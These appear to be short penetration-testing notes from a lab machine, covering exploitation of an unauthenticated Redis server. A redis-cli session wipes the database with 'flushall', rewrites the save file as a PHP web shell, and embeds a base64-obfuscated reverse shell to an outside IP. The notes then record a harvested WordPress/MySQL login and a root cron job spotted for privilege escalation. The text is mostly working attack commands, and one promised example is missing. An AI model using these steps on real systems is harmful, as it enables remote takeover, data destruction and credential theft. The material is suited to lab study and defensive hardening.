redis

redis-cli -a $pass -h $host

configuration location

/etc/redis/redis.conf

/etc/systemd/system/redis.service to locate where you can write files

reverse shell

192.168.191.166:6379> flushall
OK
192.168.191.166:6379> config get dir
1) "dir"
2) "/opt/redis-files"
192.168.191.166:6379> config set dbfilename test.php
OK
192.168.191.166:6379> set test "<?php system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40OS4xOTEvODAgMD4mMQ== | base64 -d | bash'); ?>"
OK
192.168.191.166:6379> save
OK

then trigger the test.php file you created. If you have LFI you can do so with something like below

Enumerated wp-config.php file to get the MySQL login. (karl / Wordpress1234)

Enumerated users in the db and nothing interesting there.

Running LSE only shows us one interesting item which is a cron running as root every 3 minutes.

Last updated